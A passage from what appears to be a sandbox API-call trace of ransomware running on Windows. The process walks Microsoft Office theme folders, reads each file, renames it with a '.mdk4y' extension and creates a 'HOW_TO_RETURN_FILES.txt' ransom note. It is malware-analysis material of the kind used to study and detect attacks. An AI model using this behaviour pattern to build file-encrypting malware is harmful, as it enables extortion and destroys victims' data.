lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xe2c, lpOverlapped=0x0) returned 1 [0178.972] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825420200000) returned 1 [0178.972] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825420200000) returned 1 [0178.973] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Paper.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\paper.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Paper.xml.mdk4y" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\paper.xml.mdk4y")) returned 1 [0178.974] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0178.974] AreFileApisANSI () returned 1 [0178.974] GetACP () returned 0x4e4 [0178.974] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Perspective.xml", cchWideChar=15, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Perspective.xmlxml", lpUsedDefaultChar=0x37df4c) returned 15 [0178.974] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Perspective.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\perspective.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0178.975] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825420500000) returned 1 [0178.975] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xe0f, lpOverlapped=0x0) returned 1 [0178.976] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825420600000) returned 1 [0178.976] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825420600000) returned 1 [0178.976] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Perspective.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\perspective.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Perspective.xml.mdk4y" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\perspective.xml.mdk4y")) returned 1 [0178.977] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0178.977] AreFileApisANSI () returned 1 [0178.977] GetACP () returned 0x4e4 [0178.977] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Pushpin.xml", cchWideChar=11, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Pushpin.xml.xml", lpUsedDefaultChar=0x37df4c) returned 11 [0178.977] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Pushpin.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\pushpin.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0178.978] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825420800000) returned 1 [0178.978] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xe7f, lpOverlapped=0x0) returned 1 [0178.996] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825422600000) returned 1 [0178.996] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825422600000) returned 1 [0178.996] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Pushpin.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\pushpin.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Pushpin.xml.mdk4y" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\pushpin.xml.mdk4y")) returned 1 [0178.998] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0178.998] AreFileApisANSI () returned 1 [0178.998] GetACP () returned 0x4e4 [0178.998] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Slipstream.xml", cchWideChar=14, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Slipstream.xmll", lpUsedDefaultChar=0x37df4c) returned 14 [0178.998] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Slipstream.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\slipstream.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0178.998] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825422800000) returned 1 [0178.998] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xe18, lpOverlapped=0x0) returned 1 [0179.021] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825425100000) returned 1 [0179.021] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825425100000) returned 1 [0179.021] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Slipstream.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\slipstream.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Slipstream.xml.mdk4y" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\slipstream.xml.mdk4y")) returned 1 [0179.023] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0179.023] AreFileApisANSI () returned 1 [0179.023] GetACP () returned 0x4e4 [0179.023] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Solstice.xml", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Solstice.xmlml", lpUsedDefaultChar=0x37df4c) returned 12 [0179.023] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Solstice.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\solstice.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0179.025] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825425500000) returned 1 [0179.025] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xee9, lpOverlapped=0x0) returned 1 [0179.026] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825425600000) returned 1 [0179.026] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825425600000) returned 1 [0179.027] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Solstice.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\solstice.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Solstice.xml.mdk4y" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\solstice.xml.mdk4y")) returned 1 [0179.028] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0179.028] AreFileApisANSI () returned 1 [0179.028] GetACP () returned 0x4e4 [0179.028] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Technic.xml", cchWideChar=11, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Technic.xmll", lpUsedDefaultChar=0x37df4c) returned 11 [0179.028] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Technic.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\technic.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0179.029] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825425900000) returned 1 [0179.029] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xe13, lpOverlapped=0x0) returned 1 [0179.045] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825427500000) returned 1 [0179.045] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825427500000) returned 1 [0179.046] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Technic.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\technic.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Technic.xml.mdk4y" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\technic.xml.mdk4y")) returned 1 [0179.048] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0179.048] AreFileApisANSI () returned 1 [0179.048] GetACP () returned 0x4e4 [0179.048] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Thatch.xml", cchWideChar=10, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Thatch.xmll", lpUsedDefaultChar=0x37df4c) returned 10 [0179.048] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Thatch.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\thatch.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0179.049] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825428100000) returned 1 [0179.052] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xeff, lpOverlapped=0x0) returned 1 [0179.053] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825428300000) returned 1 [0179.053] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825428300000) returned 1 [0179.054] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Thatch.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\thatch.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Thatch.xml.mdk4y" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\thatch.xml.mdk4y")) returned 1 [0179.055] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0179.055] AreFileApisANSI () returned 1 [0179.055] GetACP () returned 0x4e4 [0179.055] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Trek.xml", cchWideChar=8, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Trek.xmlml", lpUsedDefaultChar=0x37df4c) returned 8 [0179.056] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Trek.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\trek.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0179.056] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825428600000) returned 1 [0179.056] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xe20, lpOverlapped=0x0) returned 1 [0179.070] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825430000000) returned 1 [0179.070] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825430000000) returned 1 [0179.070] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Trek.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\trek.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Trek.xml.mdk4y" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\trek.xml.mdk4y")) returned 1 [0179.072] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0179.072] AreFileApisANSI () returned 1 [0179.072] GetACP () returned 0x4e4 [0179.072] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Urban.xml", cchWideChar=9, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Urban.xmll", lpUsedDefaultChar=0x37df4c) returned 9 [0179.072] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Urban.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\urban.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0179.073] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825430300000) returned 1 [0179.073] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xe19, lpOverlapped=0x0) returned 1 [0179.075] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825430500000) returned 1 [0179.075] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825430500000) returned 1 [0179.075] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Urban.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\urban.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Urban.xml.mdk4y" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\urban.xml.mdk4y")) returned 1 [0179.077] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0179.077] AreFileApisANSI () returned 1 [0179.077] GetACP () returned 0x4e4 [0179.077] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Verve.xml", cchWideChar=9, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Verve.xml", lpUsedDefaultChar=0x37df4c) returned 9 [0179.077] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Verve.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\verve.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0179.077] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825430700000) returned 1 [0179.077] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xe14, lpOverlapped=0x0) returned 1 [0179.103] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825433300000) returned 1 [0179.103] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825433300000) returned 1 [0179.103] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Verve.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\verve.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Verve.xml.mdk4y" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\verve.xml.mdk4y")) returned 1 [0179.105] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0179.105] AreFileApisANSI () returned 1 [0179.105] GetACP () returned 0x4e4 [0179.105] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Waveform.xml", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Waveform.xml", lpUsedDefaultChar=0x37df4c) returned 12 [0179.105] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Waveform.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\waveform.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0179.106] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825433600000) returned 1 [0179.106] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xdf9, lpOverlapped=0x0) returned 1 [0179.108] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825433800000) returned 1 [0179.108] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825433800000) returned 1 [0179.108] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Waveform.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\waveform.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Waveform.xml.mdk4y" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\waveform.xml.mdk4y")) returned 1 [0179.110] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 0 [0179.110] FindClose (in: hFindFile=0x6ab310 | out: hFindFile=0x6ab310) returned 1 [0179.111] AreFileApisANSI () returned 1 [0179.111] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x692108, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 89 [0179.111] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dc84, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0179.112] GetFileType (hFile=0x12c) returned 0x1 [0179.114] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0179.114] AreFileApisANSI () returned 1 [0179.114] GetACP () returned 0x4e4 [0179.114] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Trek.thmx", cchWideChar=9, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="Trek.thmxts", lpUsedDefaultChar=0x37dfd8) returned 9 [0179.114] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Trek.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\trek.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0179.115] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1825434500000) returned 1 [0179.115] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x2a23c, lpOverlapped=0x0) returned 1 [0179.150] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1825438000000) returned 1 [0179.150] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1825438000000) returned 1 [0179.152] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Trek.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\trek.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Trek.thmx.mdk4y" (normalized: "c:\\program files\\microsoft office\\document themes 14\\trek.thmx.mdk4y")) returned 1 [0179.154] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0179.154] AreFileApisANSI () returned 1 [0179.154] GetACP () returned 0x4e4 [0179.154] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Urban.thmx", cchWideChar=10, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="Urban.thmxs", lpUsedDefaultChar=0x37dfd8) returned 10 [0179.154] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Urban.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\urban.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0179.155] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1825438500000) returned 1 [0179.155] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0xfc70, lpOverlapped=0x0) returned 1 [0179.170] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1825440000000) returned 1 [0179.170] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1825440000000) returned 1 [0179.171] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Urban.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\urban.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Urban.thmx.mdk4y" (normalized: "c:\\program files\\microsoft office\\document themes 14\\urban.thmx.mdk4y")) returned 1 [0179.173] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0179.173] AreFileApisANSI () returned 1 [0179.173] GetACP () returned 0x4e4 [0179.173] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Verve.thmx", cchWideChar=10, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="Verve.thmx", lpUsedDefaultChar=0x37dfd8) returned 10 [0179.173] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Verve.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\verve.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0179.174] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1825440400000) returned 1 [0179.174] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x12600, lpOverlapped=0x0) returned 1 [0179.199] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1825442900000) returned 1 [0179.199] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1825442900000) returned 1 [0179.200] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Verve.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\verve.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Verve.thmx.mdk4y" (normalized: "c:\\program files\\microsoft office\\document themes 14\\verve.thmx.mdk4y")) returned 1 [0179.202] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0179.202] AreFileApisANSI () returned 1 [0179.202] GetACP () returned 0x4e4 [0179.202] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Waveform.thmx", cchWideChar=13, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="Waveform.thmx", lpUsedDefaultChar=0x37dfd8) returned 13 [0179.202] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Waveform.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\waveform.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0179.202] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: 